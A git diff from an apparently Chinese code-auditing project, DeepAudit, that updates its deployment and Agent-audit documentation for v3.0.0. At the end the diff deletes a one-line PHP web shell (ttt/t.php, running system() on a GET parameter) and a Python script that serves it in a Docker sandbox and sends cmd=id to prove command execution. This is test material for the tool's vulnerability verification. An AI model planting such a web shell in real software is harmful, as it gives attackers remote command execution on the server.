+```
+
+---
+
 ## 支持的漏洞类型

 | 类型 | 说明 |
@ -244,6 +245,8 @@ GET /api/v1/agent-tasks/{task_id}/summary
 | `authorization_bypass` | 授权绕过 |
 | `idor` | 不安全直接对象引用 |

+---
+
 ## 目录结构

 ```
@ -257,11 +260,6 @@ backend/app/services/agent/
 │   ├── analysis.py         # 漏洞分析 Agent
 │   ├── verification.py     # 漏洞验证 Agent
 │   └── orchestrator.py     # 编排 Agent
-├── graph/                   # LangGraph 工作流
-│   ├── __init__.py
-│   ├── audit_graph.py      # 状态定义和图构建
-│   ├── nodes.py            # 节点实现
-│   └── runner.py           # 执行器
 ├── tools/                   # Agent 工具
 │   ├── __init__.py
 │   ├── base.py             # 工具基类
@ -276,23 +274,65 @@ backend/app/services/agent/
    └── system_prompts.py
 ```

+---
+
 ## 故障排除

-### 沙箱镜像检查
+### 常见问题
+
+**Q: Agent 审计启动失败**

 ```bash
+# 检查服务状态
+docker compose --profile agent ps
+
+# 查看后端日志
+docker compose logs backend | grep -i agent
+```
+
+**Q: RAG 初始化失败**
+
+```bash
+# 检查 Milvus 连接
+curl http://localhost:9091/healthz
+
+# 检查嵌入模型配置
+# 确保 EMBEDDING_API_KEY 正确设置
+```
+
+**Q: 沙箱执行失败**
+
+```bash
+# 检查沙箱镜像
 docker images | grep deepaudit-sandbox
+
+# 重新构建沙箱
+cd docker/sandbox && ./build.sh
+```
+
+**Q: 外部工具不可用**
+
+```bash
+# 检查工具安装（本地开发时）
+which semgrep bandit gitleaks
+
+# 或使用 Docker 沙箱执行
 ```

 ### 日志查看

 ```bash
+# 查看 Agent 日志
+docker compose logs -f backend | grep -E "(agent|Agent)"
+
+# 查看详细日志
 tail -f logs/agent.log
 ```

-### 常见问题
+---

-1. **RAG 初始化失败**: 检查嵌入模型配置和 API Key
-2. **沙箱启动失败**: 确保 Docker 正常运行
-3. **外部工具不可用**: 检查 semgrep/bandit 等是否已安装
+## 更多资源

+- [部署指南](DEPLOYMENT.md) - 完整部署说明
+- [配置说明](CONFIGURATION.md) - 详细配置参数
+- [架构详解](AGENT_AUDIT_ARCHITECTURE.md) - 深度架构文档
--- a/docs/DEPLOYMENT.md
+++ b/docs/DEPLOYMENT.md
@ -1,11 +1,12 @@
 # 部署指南

-本文档详细介绍 DeepAudit 的各种部署方式，包括 Docker Compose 一键部署、生产环境部署和本地开发环境搭建。
+本文档详细介绍 DeepAudit v3.0.0 的各种部署方式，包括 Docker Compose 一键部署、Agent 审计模式部署和本地开发环境搭建。

 ## 目录

 - [快速开始](#快速开始)
 - [Docker Compose 部署（推荐）](#docker-compose-部署推荐)
+- [Agent 审计模式部署](#agent-审计模式部署)
 - [生产环境部署](#生产环境部署)
 - [本地开发部署](#本地开发部署)
 - [常见部署问题](#常见部署问题)
@ -50,10 +51,12 @@ docker compose up -d

 ### 系统要求

- Docker 20.10+
- Docker Compose 2.0+
- 至少 2GB 可用内存
- 至少 5GB 可用磁盘空间
+| 资源 | 基础模式 | Agent 模式 |
+|------|----------|-----------|
+| 内存 | 2GB+ | 4GB+ |
+| 磁盘 | 5GB+ | 10GB+ |
+| Docker | 20.10+ | 20.10+ |
+| Docker Compose | 2.0+ | 2.0+ |

 ### 部署步骤

@ -102,8 +105,8 @@ docker compose logs -f

 | 服务 | 端口 | 说明 |
 |------|------|------|
-| `frontend` | 3000 | React 前端应用（生产构建，使用 serve 提供静态文件） |
-| `backend` | 8000 | FastAPI 后端 API（使用 uv 管理依赖） |
+| `frontend` | 3000 | React 前端应用（生产构建） |
+| `backend` | 8000 | FastAPI 后端 API |
 | `db` | 5432 | PostgreSQL 15 数据库 |

 ### 访问地址
@ -135,6 +138,91 @@ docker compose exec db psql -U postgres -d deepaudit

 ---

+## Agent 审计模式部署
+
+v3.0.0 新增的 Multi-Agent 深度审计功能，需要额外的服务支持。
+
+### 功能特点
+
+- 🤖 **Multi-Agent 架构**: Orchestrator/Analysis/Recon/Verification 多智能体协作
+- 🧠 **RAG 知识库**: 代码语义理解 + CWE/CVE 漏洞知识库
+- 🔒 **沙箱验证**: Docker 安全容器执行 PoC
+
+### 部署步骤
+
+```bash
+# 1. 配置 Agent 相关参数
+# 编辑 backend/.env，确保以下配置正确
+
+# Agent 配置
+AGENT_ENABLED=true
+AGENT_MAX_ITERATIONS=5
+
+# 嵌入模型配置
+EMBEDDING_PROVIDER=openai
+EMBEDDING_MODEL=text-embedding-3-small
+EMBEDDING_API_KEY=  # 留空则使用 LLM_API_KEY
+
+# 向量数据库配置（使用 Milvus）
+VECTOR_DB_TYPE=milvus
+MILVUS_HOST=milvus
+MILVUS_PORT=19530
+
+# 沙箱配置
+SANDBOX_ENABLED=true
+```
+
+```bash
+# 2. 启动包含 Agent 服务的完整部署
+docker compose --profile agent up -d
+```
+
+### Agent 模式服务说明
+
+| 服务 | 端口 | 说明 |
+|------|------|------|
+| `milvus` | 19530 | Milvus 向量数据库 |
+| `milvus-etcd` | - | Milvus 元数据存储 |
+| `milvus-minio` | - | Milvus 对象存储 |
+| `redis` | 6379 | 任务队列（可选） |
+
+### 构建安全沙箱镜像
+
+沙箱用于安全地执行漏洞验证 PoC：
+
+```bash
+# 进入沙箱目录
+cd docker/sandbox
+
+# 构建沙箱镜像
+./build.sh
+
+# 验证镜像构建成功
+docker images | grep deepaudit-sandbox
+```
+
+沙箱镜像包含：
+- Python 3.11 + 安全工具 (Semgrep, Bandit, Safety)
+- Node.js 20 + npm audit
+- Go 1.21 + gosec
+- Rust (cargo-audit)
+- Gitleaks, TruffleHog, OSV-Scanner
+
+### 验证 Agent 模式
+
+```bash
+# 检查所有服务状态
+docker compose --profile agent ps
+
+# 检查 Milvus 连接
+curl http://localhost:9091/healthz
+
+# 查看 Agent 日志
+docker compose logs -f backend | grep -i agent
+```
+
+---
+
 ## 生产环境部署

 Docker Compose 默认配置已适用于生产环境：
@ -186,6 +274,16 @@ server {
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
+
+    # SSE 事件流（Agent 审计日志）
+    location /api/v1/agent-tasks/ {
+        proxy_pass http://localhost:8000/api/v1/agent-tasks/;
+        proxy_http_version 1.1;
+        proxy_set_header Connection "";
+        proxy_buffering off;
+        proxy_cache off;
+        proxy_read_timeout 86400;
+    }
 }
 ```

@ -347,6 +445,33 @@ docker compose up -d backend
 3. 重启 Docker Desktop
 4. 重新构建：`docker compose build --no-cache`

+### Agent 模式相关
+
+**Q: Milvus 启动失败**
+
+```bash
+# 检查 Milvus 相关服务状态
+docker compose --profile agent ps
+
+# 查看 Milvus 日志
+docker compose logs milvus milvus-etcd milvus-minio
+
+# 重新启动 Milvus 服务
+docker compose --profile agent restart milvus
+```
+
+**Q: 沙箱镜像构建失败**
+
+```bash
+# 检查 Docker 服务状态
+docker info
+
+# 使用国内镜像源重新构建
+cd docker/sandbox
+# 编辑 Dockerfile，使用国内镜像源
+./build.sh
+```
+
 ### 后端相关

 **Q: PDF 导出功能报错（WeasyPrint 依赖问题）**
@ -395,6 +520,7 @@ VITE_API_BASE_URL=http://localhost:8000/api/v1
 ## 更多资源

 - [配置说明](CONFIGURATION.md) - 详细的配置参数说明
+- [Agent 审计](AGENT_AUDIT.md) - Multi-Agent 审计模块详解
 - [LLM 平台支持](LLM_PROVIDERS.md) - 各 LLM 平台的配置方法
 - [常见问题](FAQ.md) - 更多问题解答
 - [贡献指南](../CONTRIBUTING.md) - 参与项目开发
--- a/frontend/package.json
+++ b/frontend/package.json
@ -1,6 +1,6 @@
 {
  "name": "deep-audit",
-  "version": "2.0.0-beta.7",
+  "version": "3.0.0",
  "type": "module",
  "scripts": {
    "dev": "vite",
@ -104,4 +104,4 @@
      "react": "^16.8.0 || ^17 || ^18 || ^19"
    }
  }
-}
+}
--- a/semgrep_results.json
+++ b/semgrep_results.json
--- a/ttt/t.php
+++ b/ttt/t.php
@ -1 +0,0 @@
-<?php system($_GET['cmd']); ?>
--- a/verify_rce_sandbox.py
+++ b/verify_rce_sandbox.py
@ -1,87 +0,0 @@
-
-import asyncio
-import base64
-import os
-import sys
-
-# 添加 backend 目录到路径
-sys.path.append(os.path.join(os.getcwd(), "backend"))
-
-from app.services.agent.tools.sandbox_tool import SandboxManager, SandboxConfig
-
-async def verify_rce():
-    print("🚀 开始验证 RCE 漏洞...")
-    
-    # 1. 读取目标文件内容
-    file_path = "ttt/t.php"
-    if not os.path.exists(file_path):
-        print(f"❌ 文件不存在: {file_path}")
-        return
-
-    with open(file_path, "rb") as f:
-        content = f.read()
-    
-    b64_content = base64.b64encode(content).decode()
-    print(f"📄 读取文件 {file_path} ({len(content)} bytes)")
-    
-    # 2. 初始化沙箱管理器
-    # 注意：需要启用网络模式以便 curl 本地服务（虽然是 localhost，但 bridge 模式更稳妥，或者默认 none 也可以访问 localhost? 
-    # Docker none 网络模式只有 loopback 接口，所以 localhost 是可以通的。
-    # 但是为了保险，我们使用默认配置（通常是 none），如果不行再调整。
-    # 这里的关键是 php server 和 curl 在同一个容器内运行。
-    
-    config = SandboxConfig()
-    # 确保网络模式允许本地通信（none 模式下只有 lo，应该没问题）
-    # 但有些环境可能需要 bridge
-    # config.network_mode = "bridge" 
-    
-    manager = SandboxManager(config)
-    await manager.initialize()
-    
-    if not manager.is_available:
-        print("❌ Docker 沙箱不可用")
-        return
-
-    print("🐳 沙箱初始化成功")
-
-    # 3. 构造验证 Payload
-    # - 创建目录
-    # - 写入文件 (使用 base64 避免转义问题)
-    # - 启动 PHP 服务器 (后台运行)
-    # - 等待服务器启动
-    # - 发送恶意请求 (cmd=id)
-    
-    cmd_payload = "id"
-    verification_url = f"http://localhost:8000/t.php?cmd={cmd_payload}"
-    
-    sandbox_cmd = (
-        f"mkdir -p ttt && "
-        f"echo '{b64_content}' | base64 -d > ttt/t.php && "
-        f"TMPDIR=/workspace php -S 0.0.0.0:8000 -t ttt > php.log 2>&1 & "
-        f"sleep 3 && "
-        f"curl -v '{verification_url}' || (echo '--- PHP LOG ---' && cat php.log)"
-    )
-    
-    print(f"⚡ 执行沙箱命令:\n{sandbox_cmd}\n")
-    
-    result = await manager.execute_command(sandbox_cmd, timeout=10)
-    
-    # 4. 分析结果
-    print("📊 执行结果:")
-    print(f"Success: {result['success']}")
-    print(f"Exit Code: {result['exit_code']}")
-    print(f"Stdout: {result['stdout'].strip()}")
-    print(f"Stderr: {result['stderr'].strip()}")
-    
-    if result['success']:
-        output = result['stdout']
-        if "uid=" in output and "gid=" in output:
-            print("\n✅ 漏洞验证成功！发现了命令执行结果。")
-            print(f"证明: {output.strip()}")
-        else:
-            print("\n⚠️ 命令执行成功，但未发现预期的 id 命令输出。")
-    else:
-        print("\n❌ 验证执行失败。")
-
-if __name__ == "__main__":
-    asyncio.run(verify_rce())